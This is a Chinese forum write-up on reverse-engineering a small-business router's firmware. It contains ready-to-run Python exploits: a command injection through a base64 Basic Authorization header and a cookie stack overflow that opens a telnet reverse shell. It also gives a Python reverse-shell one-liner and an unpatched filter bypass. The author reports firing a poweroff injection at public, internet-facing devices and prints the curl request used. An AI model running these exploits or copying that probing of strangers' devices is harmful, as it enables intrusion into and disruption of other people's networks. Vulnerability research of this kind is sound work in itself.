

1
Initial Analysis of the Firmware



b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "configurationManagement" * 2>/dev/nullusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.listwww/gettingStarted.htmwww/configurationManagement.htmwww/app.min20200813.jswww/home.htmb0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "admin.cgi" * 2>/dev/nullusr/sbin/mini_httpdusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.listb0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ file ./usr/sbin/mini_httpd./usr/sbin/mini_httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped









2
Firmware Simulation
root@debian-armhf:~/rootfs# lsbin  etc  media  overlay  rom    sbin  test_scripts  usr  wwwdev  lib  mnt     proc      root    sys   tmp        varroot@debian-armhf:~/rootfs# mount -t proc  /proc/ ./proc/root@debian-armhf:~/rootfs# mount -t devtmpfs /dev/ ./dev/root@debian-armhf:~/rootfs# chroot . ./bin/sh BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash) / #
b0ldfrev@ubuntu:~/cve/RV160W/rootfs$ grep -Rnl "mini_httpd" * 2>/dev/nulletc/scripts/mini_httpd/mini_httpd.shetc/rc.d/S23mini_httpd.initetc/init.d/mini_httpd.initetc/init.d/config_update.shusr/sbin/mini_httpdusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.list
#!/bin/sh /etc/rc.common START=23 version_gt() {    test "$(echo "$@" | tr " " "\n" | sort -n | head -n 1)" != "$1";}get_version() {    version=`cat $1 | grep '"VERSION"' | awk -F '"' '{print $4}'`    if [[ "${version/V/}" != "$version" ]]; then        version=`echo $version | awk -F 'V' '{print $2}'`    fi    echo $version}start() {    fwLgPath="/www/lang"    mntLgPath="/mnt/packages/languages"    mkdir -p /tmp/download    mkdir -p /tmp/download    mkdir -p /tmp/download/certificate    mkdir -p /tmp/download/log    mkdir -p /tmp/download/configuration    mkdir -p /tmp/www    mkdir -p /tmp/portal_img    if [ ! -d /mnt/packages/languages ]; then        mkdir -p /mnt/packages/languages        cp -rf ${fwLgPath}/* ${mntLgPath}    else        # check version        list="English Spanish Frensh German Itailian"        for i in $list; do            if [ -f ${fwLgPath}/${i}.js ]; then                if [ -f ${mntLgPath}/${i}.js ]; then                    tmp_version=`cat ${mntLgPath}/${i}.js | grep '"VERSION"' | awk -F '"' '{print $4}'`                    fw_version=$(get_version ${fwLgPath}/${i}.js)                    mnt_version=$(get_version ${mntLgPath}/${i}.js)                    if [[ "${tmp_version/V/}" != "$tmp_version" ]]; then                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js                    elif ! version_gt $mnt_version $fw_version; then                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js                    fi                else                    cp ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js                fi            fi        done    fi     /etc/scripts/mini_httpd/mini_httpd.sh start} stop() {    /etc/scripts/mini_httpd/mini_httpd.sh stop} reload() {    /etc/scripts/mini_httpd/mini_httpd.sh reload}
/ # /etc/init.d/mini_httpd.inituci: Entry not foundSyntax: /etc/init.d/mini_httpd.init [command] Available commands:    start    Start the service    stop    Stop the service    restart    Restart the service    reload    Reload configuration files (or restart if that fails)    enable    Enable service autostart    disable    Disable service autostart / # /etc/init.d/mini_httpd.init startuci: Entry not foundls: /mnt/configcert/confd/startup/: No such file or directoryuse backup cert for mini-httpd ...1 0 0 0setsockopt SO_REUSEADDR: Protocol not availablesetsockopt SO_REUSEADDR: Protocol not available/usr/sbin/mini_httpd: can't bind to any address/ #
/ # /usr/sbin/mini_httpdsetsockopt SO_REUSEADDR: Protocol not availablesetsockopt SO_REUSEADDR: Protocol not available/usr/sbin/mini_httpd: can't bind to any address

/*arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook  */#include <stdio.h>#include <stdlib.h>#include<sys/socket.h> int setsockopt(int sockfd, int level, int optname,                      const void *optval, socklen_t optlen){ return 1;}
BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash) / # LD_PRELOAD="/hook" ./usr/sbin/mini_httpdbind: Address already in use/ # ./usr/sbin/mini_httpd: started as root without requesting chroot(), warning only / # ps |grep mini_httpd 2364 root      3540 S    ./usr/sbin/mini_httpd 2369 root      3120 S    grep mini_httpd






3
Firmware Reverse Analysis and Debugging
Command Injection Vulnerability Analysis

vuln_back2




vuln_back1

vuln


GET /download/dniapi/ HTTP/1.1Authorization: Basic xxxxxxxxxxxxxxxxxxxxxxxxx




Command Inject EXP
# affect firmware version <1.0.01.02import requestsimport sysimport base64import urllib3 if len(sys.argv)!=3:    print "Parameter error. python exp.py url \"command\""    exit(0) url = sys.argv[1]cmd =  sys.argv[2] CMD=";"+cmd+";"CMD=base64.b64encode(CMD) header = {'Authorization':"Basic "+CMD} urllib3.disable_warnings() if url[-1:]=='/':   url=url[:-1]r = requests.get(url+"/download/dniapi/", headers=header,verify=False) print "DONE!"
Stack Overflow Vulnerability Analysis







import requestsimport urllib3import sys url = sys.argv[1] if url[-1:]=='/':   url=url[:-1] cmd="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac" payload = "sessionID="+cmd urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.get(url,headers=head,verify=False) print(r)print(r.text)print(r.content)

import requestsimport urllib3import sys url = sys.argv[1] if url[-1:]=='/':   url=url[:-1] payload = "sessionID=1234".ljust(268,"a")+"bbb" urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.get(url,headers=head,verify=False) print(r)print(r.text)print(r.content)



Stack Overflow EXP
# affect firmware version <1.0.01.02import requestsimport urllib3import sys  if len(sys.argv)!=5:    print "Parameter error. python exp.py url reverse_shell_host input_port output_port"    exit(0)  url = sys.argv[1]reverse_shell_host =  sys.argv[2]input_port= sys.argv[3]output_port= sys.argv[4]  if url[-1:]=='/':   url=url[:-1]  cmd="telnet "+reverse_shell_host+" "+input_port+" | /bin/sh | telnet "+reverse_shell_host+" "+output_port cmd2=cmd.replace(' ',"${IFS}")  payload = ("sessionID="+cmd2+";").ljust(268,"a")payload += "\x1c\xb1\x01"  urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.post(url,headers=head,verify=False) print(r)print(r.text)print(r.content)
4
Local Testing
python exp.py http://192.168.122.12 "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.122.11",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"

5
Testing on Real Devices



6
Gaining 0-Day
Initially, when I compared the patches, I found that the v1.0.01.02 firmware added a character filtering function before sprintf.

_BYTE *__fastcall filer(_BYTE *output, _BYTE *input, int a3_1024){  _BYTE *v3; // r3  _BYTE *v4; // r3  _BYTE *v5; // r3  _BYTE *v6; // r3  _BYTE *v7; // r3  _BYTE *v8; // r2  int v9; // [sp+10h] [bp-14h]  _BYTE *v10; // [sp+14h] [bp-10h]  int v12; // [sp+1Ch] [bp-8h]  int v13; // [sp+1Ch] [bp-8h]  int v14; // [sp+1Ch] [bp-8h]   v12 = 0;  v9 = a3_1024 - 1;  v10 = output;  while ( *input )  {    if ( *input == '~'      || *input == '`'      || *input == '#'      || *input == '$'      || *input == '&'      || *input == '*'      || *input == '('      || *input == ')'      || *input == '|'      || *input == '['      || *input == ']'      || *input == '{'      || *input == '}'      || *input == ';'      || *input == '''      || *input == '"'      || *input == '<'      || *input == '>'      || *input == '/'      || *input == '?'      || *input == '!'      || *input == ' '      || *input == '='      || *input == '	' )    {      v3 = v10++;      *v3 = '\';      if ( ++v12 >= v9 )        break;    }    else if ( *input == '\' )    {      v4 = v10++;      *v4 = '\';      v13 = v12 + 1;      if ( v13 >= v9 )        break;      v5 = v10++;      *v5 = '\';      v14 = v13 + 1;      if ( v14 >= v9 )        break;      v6 = v10++;      *v6 = '\';      v12 = v14 + 1;      if ( v12 >= v9 )        break;    }    v7 = v10++;    v8 = input++;    *v7 = *v8;    if ( ++v12 >= v9 )      break;  }  *v10 = 0;  return output;}

EXP
# affect firmware version <1.0.01.04import requestsimport sysimport base64import urllib3 if len(sys.argv)!=3:    print "Parameter error. python exp.py url \"command with no parameters\""    exit(0) url = sys.argv[1]cmd =  sys.argv[2] CMD="\n"+cmd+"\n"CMD=base64.b64encode(CMD) header = {'Authorization':"Basic "+CMD} urllib3.disable_warnings() if url[-1:]=='/':   url=url[:-1]r = requests.get(url+"/download/dniapi/", headers=header,verify=False) print "DONE!"
Testing
However, after testing on public devices with the 1-day exploit, it was found that there were no configured user passwords in this series of routers.
Next, I only attempted the poweroff command injection (the effect is the most intuitive and obvious). The POC is as follows:curl -i -s -k  -X $'GET' \    -H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: local_lang=%22English%22; ru=0' -H $'Authorization: Basic CnBvd2Vyb2ZmCg==' -H $'Upgrade-Insecure-Requests: 1' -H $'If-Modified-Since: Wed, 07 Apr 2021 11:28:48 GMT' -H $'Cache-Control: max-age=0' \    -b $'local_lang=%22English%22; ru=0' \    $'https://127.0.0.1/download/dniapi/'



7
Notices

 
Kanxue ID: b0ldfrev
https://bbs.pediy.com/user-home-793907.htm


# Previous Recommendations
1. Developing a script to dump custom client certificates from SSL libraries
2. Roll_a_d8 beginner’s write-up
3. CVE-2021-21224 analysis notes
4. Brief insight: injecting JS code into third-party CEF applications
5. Based on Mono injection to save Draw & Guess historical room data
6. A case study: vulnerability discovery example for home router D-LINK DIR-81


Share it

Like it

Watch it

Click “Read the original text” to learn more!